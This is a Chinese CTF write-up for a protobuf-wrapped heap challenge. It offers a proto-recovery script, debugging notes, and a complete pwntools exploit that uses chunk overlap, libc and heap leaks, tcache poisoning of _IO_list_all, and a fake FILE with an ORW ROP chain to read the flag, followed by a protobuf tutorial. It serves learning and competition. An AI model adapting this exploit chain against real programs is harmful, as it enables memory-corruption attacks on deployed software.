附件链接(个人网盘,不出意外会一直存在)

通过网盘分享的文件:pwn.zip

链接: https://pan.baidu.com/s/1_FkeK3r7-MH8mBEme0ksGg?pwd=aaaa 提取码: aaaa

--来自百度网盘超级会员v4的分享

protobuf序列化+freeoverlap机制研究

➜  pwn seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0003
 0002: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0003: 0x06 0x00 0x00 0x00000000  return KILL

这里是保护,给出了黑名单

这个题目蛮有意思的,没有回显,也是封装了一个协议

v9 = msg__msg__unpack(0, size, ptr);看起来是在使用 FlatBuffers 序列化库进行数据解包操作。

感觉就是在对应的位置的写上对应的值,原来这个高端词汇是称作序列化

protobuf,正好准备去巩固一下

v9 = msg__msg__unpack(0, size, ptr);

这里有个protobuf的包装,动态链接一行,静态链接上千行。

有一个自动逆向序列化的工具是pbtk,但是我感觉没什么用

存一下这个自动化分析的脚本

#!/usr/bin/python3
from pwn import *
import argparse
import os

class proto:
    def __init__(self,path,addr):
        self.e = ELF(path)
        self.lst = []
        self.addr = addr
        self.labels = {0:"required ",1:"optional ",2:"repeated ",3:"optional "}
        self.types = {
            0: "int32",
            1: "sint32",
            2: "sfixed32",
            3: "int64",
            4: "sint64",
            5: "sfixed64",
            6: "uint32",
            7: "fixed32",
            8: "uint64",
            9: "fixed64",
            10: "float",
            11: "double",
            12: "bool",
            13: "enum",
            14: "string",
            15: "bytes",
            16: "message"
        }

    def get_name(self):
        str_addr = u64(self.e.read(self.addr,8))
        ch = self.e.read(str_addr,1)
        name = ''
        while ch != b'\0':
            name += ch.decode()
            str_addr += 1
            ch = self.e.read(str_addr,1)
        return name

    def get_id(self):
        return u32(self.e.read(self.addr+8,4))

    def get_label(self):
        idx = u32(self.e.read(self.addr+12,4))
        return self.labels[idx]

    def get_type(self):
        idx = u32(self.e.read(self.addr+16,4))
        return self.types[idx]

    def get_data(self):
        tmp = {}
        t_id = 1
        m_id = self.get_id()
        while m_id == t_id:
            tmp['id'] = t_id
            tmp["name"] = self.get_name()
            tmp['label'] = self.get_label()
            tmp["type"] = self.get_type()
            self.addr += 0x48
            self.lst.append(tmp)
            tmp = {}
            t_id += 1
            m_id = self.get_id()

    def get_addr(self):
        g = self.e.search(p64(0x28AAEEF9))
        addr = next(g)
        self.addr = u64(self.e.read(addr+0x38,8))

    def run(self):
        if self.addr == 0xffffffff:
            self.get_addr()
        self.get_data()
        content = "syntax = \"proto2\";\n\nmessage ctf {\n"
        for i in self.lst:
            content += f"   {i['label']}{i['type']} {i['name']} = {i['id']};\n"

        content += "}\n"
        return content

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-f","--file")
    parser.add_argument("-a","--addr",default="0xffffffff")
    parser.add_argument("-o","--output",default="test.proto")
    args = parser.parse_args()

    path = args.file
    addr = int(args.addr,16)
    out = args.output

    p = proto(path,addr)
    content = p.run()
    print(content)
    with open(out,'w') as f:
        f.write(content)

    os.system(f"protoc --python_out=./ ./{out}")

然后我们改进一下,生成一个

enum ChoiceEnum {
    CREATE = 0;
    DELETE = 1;
    EDIT = 2;
    SHOW = 3;
    EXIT = 4;
}

message ctf {
    optional ChoiceEnum choice = 1;
    optional uint64 index = 2;
    optional bytes content = 3;
}

这样引入一下

from test_pb2 import ctf

[DEBUG] Received 0x10 bytes:
b'msg unpack error'
msg unpack error[*] Got EOF while reading in interactive

这里还是没有绕过去

def tep(choose,idx,content=b'a'):
    msg = ctf()
    msg.choice = choose
    msg.index = idx;
    msg.content = content
    return msg.SerializeToString()

def add(content):
    pay = tep(0,0,content)
    s(p64(len(pay)))
    s(pay)

def edit(idx,content):
    pay = tep(2,idx,content)
    s(p64(len(pay)))
    s(pay)

def free(idx):
    pay = tep(1,idx)
    s(p64(len(pay)))
    s(pay)

def show(idx):
    pay = tep(3,idx)
    s(p64(len(pay)))
    s(pay)

这个是去绕过protobuf序列化的检测

OK
aOK

show的话也可以正常的使用

这个题目protobuf内部会不断创造堆块,导致打起来的难度很大

__int64 __fastcall show(unsigned __int64 n0x1F)
{
  if ( n0x1F > 0x1F || !used_sign[n0x1F] )
    return put("INVALID\n");
  write(1, *((const void **)&heap_list + n0x1F), heap_size[n0x1F]);
  return put("OK\n");
}

这个申请的话没法利用残留的值进行泄露,这个很难办,我们申请的话必须去覆写,因为这个是检查标志位。

uaf的利用前提是把上一个的数据清除

show的前提是有use的标记位标记

这个write泄露的需要根据size字节,但是这个我们还是不确定

这个堆结构体三维的属性关联给我弄迷糊了,我应该怎么才能正常的绕过呢

常规的做不了的话,那用一下堆叠试试

叠不起来好像,这里的protobuf的堆块申请的机制有点恶心

    for i in range(7):
        add(i,b'a'*0x3f0)
 
    for i in range(6):
        delete(i)
    delete(6)

这里用堆叠意义不大,offbynull out 。

add(0, b'a' * 0x18+b'\x00')

这个size根据content,但是能识别content的长度

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555e140
Size: 0x210 (with flag bits: 0x211)
fd: 0x7ffff7e1ace0
bk: 0x7ffff7e1ace0

Allocated chunk
Addr: 0x55555555e350
Size: 0x210 (with flag bits: 0x210)

这里有个重叠,构造的话不是那么容易,但是可以通过预留指针的方法

这个不能留下空间的空堆块,要不合并不起来,或者说切割没有意义

所以说我们需要预留指针,然后free扩展,实现overlap

add(b'a'*0x10)
add(b'a'*0x10)
#######预留堆块,避免覆写uaf用到的指针############
for i in range(7):
    add(b'b'*0x300)   #2-8
##########这里暂时存储,并不释放##################33
for i in range(9):
    add(b'a'*0x200)   #9-18
for i in range(8):
    add(0x280*b'a')   #19-26
free(0)
free(1) #0-1清空
for i in range(7):
    free(i+2)         #9-16清空
free(9)
#######填满tcache,等待切割################
add(0x100*b'a')
add(b'a'*0x20)
#############s算好位置,进行切割##################
pd = b'@'*0x18+p64(0x31)+b'@'*0x28+p64(0x31)+b'@'*0x28+p64(0xd10-0x30+0x211)#+flat(0,0xd10)
edit(8,pd)
############正常识别size位,修改为大chunk#############3
free(1)
#############修改残留的超大块的size位吞掉纯净指针###################
add(b'a'*0x150)
add(b'a'*0x150)
add(b'a'*0x150)
add(b'a'*0x150)
add(b'a'*0x150)
add(b'a'*0x150)
add(b'a'*0x150)
for i in range(7):
    free(20+i)
free(19)
show(11)
rt(b'\n')

lib = rf()
rt(b'\x00'*2)
heap = ru(6)
pr(heap)
pr(lib)
##################成功泄漏libc和heap的地址###################

这里我们成功的泄露出来了libc和heap地址,然后的话就可以开开心心的体验带符号调试的感觉了

存一下对应的打印指令再

p *(struct _IO_wide_data *)
p *(struct _IO_FILE_plus *)
p *(const struct _IO_jump_t *)
b *0x7ffff7d6a06a

rop链子的构造

很迷糊,写出来梳理一下

我们需要call rax+0x28的时候是leaveret (0x555555560e50-0x28) ,这个时候rax的值需要是0x555555560e28

我们需要rbp+0x18的时候的值0x555555560e28 ,这个时候rbp的值是0x555555560e48-0x18

我们需要rdi+0x48的时候的值是0x555555560e48-0x18 ,这个时候rdi的值是固定的!!!

我们可以逆推,也可以正推导,结合核心变量和状态逆推就行,至此拿下flag

exp

#!/usr/bin/python3
from pwn import *
import ctypes
import docker
from os import path
import tempfile
from test_pb2 import ctf
context(os = 'linux',arch = 'amd64',log_level = 'debug')
#elf1 = ctypes.CDLL("./libc.so.6")
#elf1.srand(ctypes.c_uint(int(time.time())))
pie = 1
file_name = "./pwn"
#libc_name = "/root/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6_2.35-0ubuntu3.10_amd64/lib/x86_64-linux-gnu/libc.so.6"
libc_name = "./libc.so.6"
host = "challenge.ilovectf.cn"
port = 30475
contents = 1
container_id = "0"
proc_name = "0"

# 整合的gdb配置
gs = '''
b main
set debug-file-directory /root/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6-dbg_2.35-0ubuntu3.10_amd64/usr/lib/debug
set directories /root/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/glibc-source_2.35-0ubuntu3.10_all/usr/src/glibc/glibc-2.35
'''

def start(elf_path):
    if args.GDB:
        return gdb.debug(elf_path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    elif args.DOCKER:
        p = remote(host, port)
        client = docker.from_env()
        container = client.containers.get(container_id=container_id)
        processes_info = container.top()
        titles = processes_info['Titles']
        processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]
        target_proc = []
        for proc in processes:
            cmd = proc.get('CMD', '')
            exe_path = cmd.split()[0] if cmd else ''
            exe_name = path.basename(exe_path)
            if exe_name == proc_name:
                target_proc.append(proc)
        idx = 0
        if len(target_proc) > 1:
            for i, v in enumerate(target_proc):
                print(f"{i} => {v}")
            idx = int(input(f"Which one:"))
        with tempfile.NamedTemporaryFile(prefix = 'cpwn-gdbscript-', delete=False, suffix = '.gdb', mode = 'w') as tmp:
            tmp.write(f'shell rm {tmp.name}\n{gs}')
        print(tmp.name)
        run_in_new_terminal(["sudo", "gdb", "-p", target_proc[idx]['PID'], "-x", tmp.name])
        return p
    else:
        return process(elf_path)

pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: io.sendline(x)
s  = lambda x: io.send(x)
rt = lambda x: io.recvuntil(x)
ri = lambda x: int(io.recv(x), 16)
ru = lambda x: u64(io.recv(x).ljust(8, b'\x00'))
it = lambda: io.interactive()
sp = lambda: sleep(1.5)
q  = lambda: sleep(0.2)
lg = lambda: log.info('\x1b[01;38;5;214m' + '-------------------------------------------' + 'success stage' + '---------------------------------------------------------' + '\x1b[0m')
rf=  lambda  :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))

def create_io():
    global io, duan, elf, libc
    elf = ELF(file_name)
    libc = ELF(libc_name)

    if contents == 1:
        # 使用整合的start函数来创建进程,传入elf路径
        io = start(file_name)

        def duan(*address):
            pay = ''
            if pie:
                for i in address:
                    pay += 'b *$rebase(' + str(i) + ')' + '\n'
            else:
                for i in address:
                    pay += 'b *' + str(i) + '\n'
            gdb.attach(io, pay)
            sp()
    else:
        io = remote(host, port)
        elf = ELF(file_name)
        libc = None

create_io()
###########准备环境#########################
def tep(choose,idx,content=b'a'):
    msg = ctf()
    msg.choice = choose
    msg.index = idx;
    msg.content = content
    return msg.SerializeToString()

def add(content):
    pay = tep(0,0,content)
    s(p64(len(pay)))
    s(pay)

def edit(idx,content):
    pay = tep(2,idx,content)
    s(p64(len(pay)))
    s(pay)

def free(idx):
    pay = tep(1,idx)
    s(p64(len(pay)))
    s(pay)

def show(idx):
    pay = tep(3,idx)
    s(p64(len(pay)))
    s(pay)
def dbg():
    gdb.attach(io)
    pause()
#######################逆向protobuf##################
add(b'a'*0x10)
add(b'a'*0x10)
#######预留堆块,避免覆写uaf用到的指针############
for i in range(7):
    add(b'b'*0x300)   #2-8
##########这里暂时存储,并不释放##################33
for i in range(9):
    add(b'a'*0x200)   #9-18
for i in range(8):
    add(0x280*b'a')   #19-26
free(0)
free(1) #0-1清空
for i in range(7):
    free(i+2)         #9-16清空
free(9)
#######填满tcache,等待切割################
add(0x100*b'a')
add(b'a'*0x20)
#############s算好位置,进行切割##################
pd = b'@'*0x18+p64(0x31)+b'@'*0x28+p64(0x31)+b'@'*0x28+p64(0xd10-0x30+0x211)#+flat(0,0xd10)
edit(8,pd)
############正常识别size位,修改为大chunk#############3
free(1)
#############修改残留的超大块的size位吞掉纯净指针###################
add(b'a'*0x150)
add(b'a'*0x150)
add(b'a'*0x150)
add(b'a'*0x150)
add(b'a'*0x150)
add(b'a'*0x150)
add(b'a'*0x150)
for i in range(7):
    free(20+i)
free(19)
q()
show(11)
q()
rt(b'\n')

lib = rf()-0x21ace0
rt(b'\x00'*2)
heap = ru(6)-0x3d40
pr(heap)
pr(lib)
q()
##################成功泄漏libc和heap的地址###################
pop_rax = lib+next(libc.search(asm("pop rax;ret")))
pop_rdi = lib+next(libc.search(asm("pop rdi;ret")))
pop_rsi = lib+next(libc.search(asm("pop rsi;ret")))
pop_rdx12 = lib+next(libc.search(asm("pop rdx;pop r12;ret")))
syscall = next(libc.search(asm("syscall;ret")))
leave_ret = lib+next(libc.search(asm("leave;ret")))
add_rsp18 = lib+next(libc.search(asm("add rsp,0x18;ret")))
close_addr = lib + libc.sym['close']
read_addr = lib + libc.sym['read']
write_addr = lib + libc.sym['write']
file_addr=heap+0x4ca0
chunk0 =file_addr
orw_addr=chunk0 + 0xe0 + 0xe8 + 0x70 -0x140+0x248-0x250
IO_wide_data_addr=file_addr #largebin的control_addr
wide_vtable_addr=file_addr+0xe8-0x68
_IO_stdfile_2_lock = lib + 0x21ca60
add_rsp18=lib+0x000000000003a8a1
magic_gadget = lib + 0x16a06a
#####################准备对应的片段########################
fake_io = b""
fake_io += p64(0) # _IO_read_end
fake_io += p64(0) # _IO_read_base
fake_io += p64(0) # _IO_write_base
fake_io += p64(1) # _IO_write_ptr
fake_io += p64(0) # _IO_write_end
fake_io += p64(0) # _IO_buf_base;
fake_io += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_io += p64(heap+0x3e30)
fake_io += p64(0) * 3 # from _IO_save_base to _markers
fake_io += p64(0) # the FILE chain ptr
fake_io += p32(2) # _fileno for stderr is 2
fake_io += p32(0) # _flags2, usually 0
fake_io += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_io += p16(0) # _cur_column
fake_io += b"\x00" # _vtable_offset
fake_io += b"\n" # _shortbuf[1]
fake_io += p32(0) # padding
fake_io += p64(_IO_stdfile_2_lock) # _IO_stdfile_1_lock
fake_io += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_io += p64(0) # _codecvt, usually 0
fake_io += p64(IO_wide_data_addr) # _IO_wide_data_1
fake_io += p64(0) * 3 # from _freeres_list to __pad5
fake_io += p32(0xFFFFFFFF) # _mode, usually -1
fake_io += b"\x00" * 19 # _unused2
fake_io = fake_io.ljust(0xc8, b'\x00') # adjust to vtable
fake_io += p64(lib+libc.sym['_IO_wfile_jumps']) # fake vtable #0xd8
fake_io += p64(wide_vtable_addr) #0xe0
fake_io+=p64(magic_gadget)
######################准备io#######################################3
orw = b'./flag\x00\x00'+p64(add_rsp18)+p64(0)+p64(chunk0+0x230-0x10a8)
#close
orw += p64(leave_ret)
orw += p64(pop_rdi)
orw += p64(0)
orw += p64(close_addr)
#open
orw += p64(pop_rdi)
orw += p64(orw_addr)
orw += p64(pop_rsi) + p64(0)
orw += p64(pop_rax) + p64(2)
orw += p64(syscall)
#read
orw += p64(pop_rdi) + p64(0)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx12) + p64(0x50) + p64(0)
orw += p64(read_addr)
#puts
orw += p64(pop_rdi) + p64(1)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx12) + p64(0x50) + p64(0)
orw += p64(write_addr)
#orw += p64(heap+0x4d80)#rdi
fake_io+=orw
#############准备rop######################
pr(len(fake_io))
add(fake_io)
q()
#############写上file的内容################
target = (lib+libc.sym["_IO_list_all"]) ^ (heap >> 12)
free(16)
edit(16,p64(target))
free(1)
edit(1,p64(target))
free(2)
edit(2,p64(target))
free(0)
edit(0,p64(target))
add(b'a'*0x10)
free(0)
edit(0,p64(target))
add(b'a'*0x10)
add(flat(file_addr))
pr(lib+libc.sym["_IO_list_all"])
###########不断试探写上对应的地址##############
###########触发file流刷新###########
#duan()
s(p64(0))
s(p64(0))
it()

protobuf相关知识

Protobuf 是一种语言中立、平台无关、可扩展的序列化结构数据的方法,它可用于通信协议、数据存储等领域,旨在提供一种比传统的 XML 和 JSON 更高效、更简洁的方式来表示和传输结构化数据。

主要特点

  • 高效性:Protobuf 采用了紧凑的二进制编码方式,相比 XML 和 JSON 等文本格式,在数据存储和传输时占用的空间更小,解析速度更快。例如,对于大量的结构化数据,使用 Protobuf 进行序列化后,数据量可能只有原来 JSON 格式的几分之一,大大减少了网络带宽占用和存储成本。
  • 语言无关性:Protobuf 支持多种编程语言,如 C++、Java、Python、Go 等。这意味着不同语言开发的系统之间可以方便地使用 Protobuf 进行数据交互,只需按照相同的 Protobuf 定义来编解码数据即可。
  • 可扩展性:在定义数据结构时,可以很容易地添加新的字段,而不会影响到旧版本的代码。当接收方接收到包含新字段的数据时,对于不认识的新字段可以自动忽略,保证了系统的兼容性和可扩展性。
  • 强类型:Protobuf 要求在定义数据结构时明确指定每个字段的数据类型,如整数、字符串、字节数组等。这使得数据的解析和验证更加严格,减少了因数据类型不匹配导致的错误。

工作原理

  • 定义数据结构:使用 Protobuf 首先要在.proto文件中定义数据的结构,即消息(Message)。例如:
syntax = "proto3";

message Person {
  string name = 1;
  int32 age = 2;
  repeated string hobbies = 3;
}

上述代码定义了一个Person消息,包含name(字符串类型)、age(32 位整数类型)和hobbies(字符串列表类型)三个字段。

  • 生成代码:通过 Protobuf 的编译器protoc,根据.proto文件为不同的编程语言生成相应的代码。这些代码提供了用于创建、解析和操作 Protobuf 消息的类和方法。
  • 序列化与反序列化:在发送端,将数据填充到对应的 Protobuf 消息对象中,然后调用序列化方法将其转换为二进制数据进行传输或存储。在接收端,接收到二进制数据后,通过反序列化操作将其还原为 Protobuf 消息对象,以便进行后续的处理。

语法解释

1. message Person

message Person {
  • message 是 Protobuf 中的关键字,用于声明一个新的消息类型。
  • Person 是这个消息的名称,按照命名规范,通常采用驼峰命名法(CamelCase),首字母大写。它代表了我们要定义的这个数据结构的名称,后续在代码中可以使用这个名称来创建和操作相关的对象。

2. string name = 1;

string name = 1;
  • string:这是 Protobuf 中的一种数据类型,表示一个字符串。在 Protobuf 中,有多种内置的数据类型,如整数、浮点数、布尔值、字符串等,用于定义字段的类型。
  • name:这是该字段的名称,用于标识这个字段所代表的含义。在这个例子中,name 表示人的姓名。
  • = 1:每个字段都有一个唯一的编号,这个编号在消息的序列化和反序列化过程中用于标识字段。编号的取值范围是 1 到 2^29 - 1(即 536870911),其中 1 到 15 的编号在编码时占用一个字节,16 到 2047 的编号占用两个字节,编号越小,编码效率越高,因此通常将常用的字段分配较小的编号。

3. int32 age = 2;​

int32 age = 2;
  • int32:这是 Protobuf 中的 32 位有符号整数类型,用于表示人的年龄。
  • age:字段名称,表示人的年龄。
  • = 2:该字段的唯一编号,用于在序列化和反序列化时识别该字段。

4. repeated string hobbies = 3;

repeated string hobbies = 3;
  • repeated:这是 Protobuf 中的一个修饰符,表示该字段是一个重复字段,类似于数组或列表。在这个例子中,hobbies 字段可以包含多个字符串元素,用于存储一个人的多个爱好。
  • string:字段的数据类型,表示每个爱好是一个字符串。
  • hobbies:字段名称,表示人的爱好列表。
  • = 3:该字段的唯一编号。

message用于定义消息结构体,类似C语言中的struct。

每个字段包括修饰符 类型 字段名,并且末尾通过等号设置唯一字段编号。

修饰符包括如下几种:

  • optional:可以不提供字段值,字段将被初始化为默认值。(Proto3中不允许显示声明,不加修饰符即optional)
  • repeated:类似vector,表明该字段为动态数组,可重复任意次。
  • required:必须提供字段值。(Proto3不再支持required)

常见的基本类型:

  • bool
  • in32
  • float
  • double
  • string
struct ProtobufCMessageDescriptor {
    /** Magic value checked to ensure that the API is used correctly. */
    uint32_t			magic;

    /** The qualified name (e.g., "namespace.Type"). */
    const char			*name;
    /** The unqualified name as given in the .proto file (e.g., "Type"). */
    const char			*short_name;
    /** Identifier used in generated C code. */
    const char			*c_name;
    /** The dot-separated namespace. */
    const char			*package_name;

    /**
     * Size in bytes of the C structure representing an instance of this
     * type of message.
     */
    size_t				sizeof_message;

    /** Number of elements in `fields`. */
    unsigned			n_fields;
    /** Field descriptors, sorted by tag number. */
    const ProtobufCFieldDescriptor	*fields;
    /** Used for looking up fields by name. */
    const unsigned			*fields_sorted_by_name;

    /** Number of elements in `field_ranges`. */
    unsigned			n_field_ranges;
    /** Used for looking up fields by id. */
    const ProtobufCIntRange		*field_ranges;

    /** Message initialisation function. */
    ProtobufCMessageInit		message_init;

    /** Reserved for future use. */
    void				*reserved1;
    /** Reserved for future use. */
    void				*reserved2;
    /** Reserved for future use. */
    void				*reserved3;
};

我们关注以下几个结构就行了:

  1. magic,一般为0x28AAEEF9
  2. n_fields,关系到原始的message结构内有几条记录、
  3. fields,这个指向message内所有记录类型组成的一个数组,可以借此逆向分析message结构。

重点是看fields,这个是ProtobufCFieldDescriptor类型的,我们看看这个结构长什么样子。

struct ProtobufCFieldDescriptor {
    /** Name of the field as given in the .proto file. */
    const char		*name;
    /** Tag value of the field as given in the .proto file. */
    uint32_t		id;
    /** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */
    ProtobufCLabel		label;
    /** The type of the field. */
    ProtobufCType		type;
    /**
     * The offset in bytes of the message's C structure's quantifier field
     * (the `has_MEMBER` field for optional members or the `n_MEMBER` field
     * for repeated members or the case enum for oneofs).
     */
    unsigned		quantifier_offset;
    /**
     * The offset in bytes into the message's C structure for the member
     * itself.
     */
    unsigned		offset;
    /**
     * A type-specific descriptor.
     *
     * If `type` is `PROTOBUF_C_TYPE_ENUM`, then `descriptor` points to the
     * corresponding `ProtobufCEnumDescriptor`.
     *
     * If `type` is `PROTOBUF_C_TYPE_MESSAGE`, then `descriptor` points to
     * the corresponding `ProtobufCMessageDescriptor`.
     *
     * Otherwise this field is NULL.
     */
    const void		*descriptor; /* for MESSAGE and ENUM types */
    /** The default value for this field, if defined. May be NULL. */
    const void		*default_value;
    /**
     * A flag word. Zero or more of the bits defined in the
     * `ProtobufCFieldFlag` enum may be set.
     */
    uint32_t		flags;
    /** Reserved for future use. */
    unsigned		reserved_flags;
    /** Reserved for future use. */
    void			*reserved2;
    /** Reserved for future use. */
    void			*reserved3;
};

我们只需关注如下:

  1. name,名字,变量名
  2. id,序号,即在message结构体中的顺序(等价于位置)
  3. label,前面标记的required等,这里是proto2的语法,proto3不知道有没有这一项(本人未经验证)
  4. type,数据类型,string还是int64等。label和type都是枚举类型,占4个字节。

都是 4 字节大小

枚举定义

typedef enum {
        /** A well-formed message must have exactly one of this field. */
        PROTOBUF_C_LABEL_REQUIRED,

        /**
         * A well-formed message can have zero or one of this field (but not
         * more than one).
         */
        PROTOBUF_C_LABEL_OPTIONAL,

        /**
         * This field can be repeated any number of times (including zero) in a
         * well-formed message. The order of the repeated values will be
         * preserved.
         */
        PROTOBUF_C_LABEL_REPEATED,

        /**
         * This field has no label. This is valid only in proto3 and is
         * equivalent to OPTIONAL but no "has" quantifier will be consulted.
         */
        PROTOBUF_C_LABEL_NONE,
} ProtobufCLabel;
typedef enum {
        PROTOBUF_C_TYPE_INT32,      /**< int32 */
        PROTOBUF_C_TYPE_SINT32,     /**< signed int32 */
        PROTOBUF_C_TYPE_SFIXED32,   /**< signed int32 (4 bytes) */
        PROTOBUF_C_TYPE_INT64,      /**< int64 */
        PROTOBUF_C_TYPE_SINT64,     /**< signed int64 */
        PROTOBUF_C_TYPE_SFIXED64,   /**< signed int64 (8 bytes) */
        PROTOBUF_C_TYPE_UINT32,     /**< unsigned int32 */ //                   6
        PROTOBUF_C_TYPE_FIXED32,    /**< unsigned int32 (4 bytes) */
        PROTOBUF_C_TYPE_UINT64,     /**< unsigned int64 */
        PROTOBUF_C_TYPE_FIXED64,    /**< unsigned int64 (8 bytes) */
        PROTOBUF_C_TYPE_FLOAT,      /**< float */
        PROTOBUF_C_TYPE_DOUBLE,     /**< double */
        PROTOBUF_C_TYPE_BOOL,       /**< boolean */
        PROTOBUF_C_TYPE_ENUM,       /**< enumerated type */
        PROTOBUF_C_TYPE_STRING,     /**< UTF-8 or ASCII string */
        PROTOBUF_C_TYPE_BYTES,      /**< arbitrary byte sequence */ // 0xF
        PROTOBUF_C_TYPE_MESSAGE,    /**< nested message */
} ProtobufCType;
syntax = "proto2";

message ctf {
    optional bytes whatcon = 1;
    optional sint64 whattodo = 2;
    optional sint64 whatidx = 3;
    optional sint64 whatsize = 4;
    optional uint32 whatsthis = 5;
}

这里没有写标签是表示是第四种类型 none,要非常注意这个 type 不能写错,比如 sint64 不能写错成 int64

使用

from test_pb2 import ctf

msg = ctf()
msg.whatcon = content
msg.whattodo = choose
msg.whatidx = idx
msg.whatsize = size
msg.whatsthis = this
cd(msg.SerializeToString())  # 返回值是字节串

这个 ctf 是结构体的名字,如果字段 label 是 required ,那么需要 msg.whatcon.append(content) 来赋值

protoc --python_out=./ ./test.proto

protoc

  • protoc 是 Protocol Buffers 的编译器,它的主要作用是根据 .proto 文件中定义的数据结构,生成不同编程语言的代码,这些代码包含了用于序列化和反序列化数据的方法,以及对消息类型的定义。

-python_out=./

  • -python_out 是 protoc 编译器的一个选项,用于指定生成 Python 代码的输出目录。
  • ./ 表示当前目录,即生成的 Python 代码文件会被保存到执行该命令的当前目录下。如果想要指定其他目录,可以将 ./ 替换为具体的目录路径,例如 -python_out=/path/to/output。

./test.proto

  • 这是输入的 .proto 文件路径。.proto 文件是 Protobuf 用于定义数据结构的文件,其中包含了消息(message)、枚举(enum)、服务(service)等的定义。
  • ./ 同样表示当前目录,test.proto 是具体的 .proto 文件名称。如果该文件位于其他目录,需要提供完整的文件路径。

在工具目录运行 gui.py

选择 step 1,然后选择文件类型,然后选择文件,即可提取

链接:https://xz.aliyun.com/news/12026

首先点进函数

再点进第一个参数里

然后就能看到结构体了,然后再点进 whatcon 中

就可以手动逆向了

#!/usr/bin/python3
from pwn import *
import argparse

class proto:
    def __init__(self,path,addr):
        self.e = ELF(path)
        self.lst = []
        self.addr = addr
        self.labels = {0:"required ",1:"optional ",2:"repeated ",3:"optional "}
        self.types = {
            0: "int32",
            1: "sint32",
            2: "sfixed32",
            3: "int64",
            4: "sint64",
            5: "sfixed64",
            6: "uint32",
            7: "fixed32",
            8: "uint64",
            9: "fixed64",
            10: "float",
            11: "double",
            12: "bool",
            13: "enum",
            14: "string",
            15: "bytes",
            16: "message"
        }

    def get_name(self):
        str_addr = u64(self.e.read(self.addr,8))
        ch = self.e.read(str_addr,1)
        name = ''
        while ch != b'\0':
            name += ch.decode()
            str_addr += 1
            ch = self.e.read(str_addr,1)
        return name

    def get_id(self):
        return u32(self.e.read(self.addr+8,4))

    def get_label(self):
        idx = u32(self.e.read(self.addr+12,4))
        return self.labels[idx]

    def get_type(self):
        idx = u32(self.e.read(self.addr+16,4))
        return self.types[idx]

    def get_data(self):
        tmp = {}
        t_id = 1
        m_id = self.get_id()
        while m_id == t_id:
            tmp['id'] = t_id
            tmp["name"] = self.get_name()
            tmp['label'] = self.get_label()
            tmp["type"] = self.get_type()
            self.addr += 0x48
            self.lst.append(tmp)
            tmp = {}
            t_id += 1
            m_id = self.get_id()

    def get_addr(self):
        g = self.e.search(p64(0x28AAEEF9))
        addr = next(g)
        self.addr = u64(self.e.read(addr+0x38,8))

    def run(self):
        if self.addr == 0xffffffff:
            self.get_addr()
        self.get_data()
        content = "syntax = \"proto2\";\n\nmessage ctf {\n"
        for i in self.lst:
            content += f"	{i['label']}{i['type']} {i['name']} = {i['id']};\n"

        content += "}\n"
        return content

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-f","--file")
    parser.add_argument("-a","--addr",default="0xffffffff")
    parser.add_argument("-o","--output",default="test.proto")
    args = parser.parse_args()

    path = args.file
    addr = int(args.addr,16)
    out = args.output

    p = proto(path,addr)
    content = p.run()
    print(content)
    with open(out,'w') as f:
        f.write(content)

使用

./test -f ./pwn1 -a 0xBAE0 -o test.proto
  • f:文件路径
  • a:数据偏移,即上面手动逆向的最后一张图片位置
  • a 参数可以省略,如果省略,它会自动寻找 0x28AAEEF9 魔术数字来定位
  • o 也可以省略,默认文件是 test.proto
protoc --python_out=./ ./test.proto
syntax = "proto2";

message ctf {
    optional uint32 choose = 1;
    optional uint32 idx = 2;
    optional uint32 size = 3;
    optional bytes content = 4;
}

生成对应的 .c 和 .h 文件

protoc --c_out=./ ./ctf.proto

动态编译

gcc pwn1.c ctf.pb-c.c -lprotobuf-c

静态编译(仅静态编译 protobuf-c)

gcc pwn1.c ctf.pb-c.c  -Wl,-Bstatic -lprotobuf-c -Wl,-Bdynamic -o pwn1

加上 -s 去除符号表(只会保留 libc.so.6 里的符号

gcc pwn1.c ctf.pb-c.c  -Wl,-Bstatic -lprotobuf-c -Wl,-Bdynamic -o pwn1 -s


​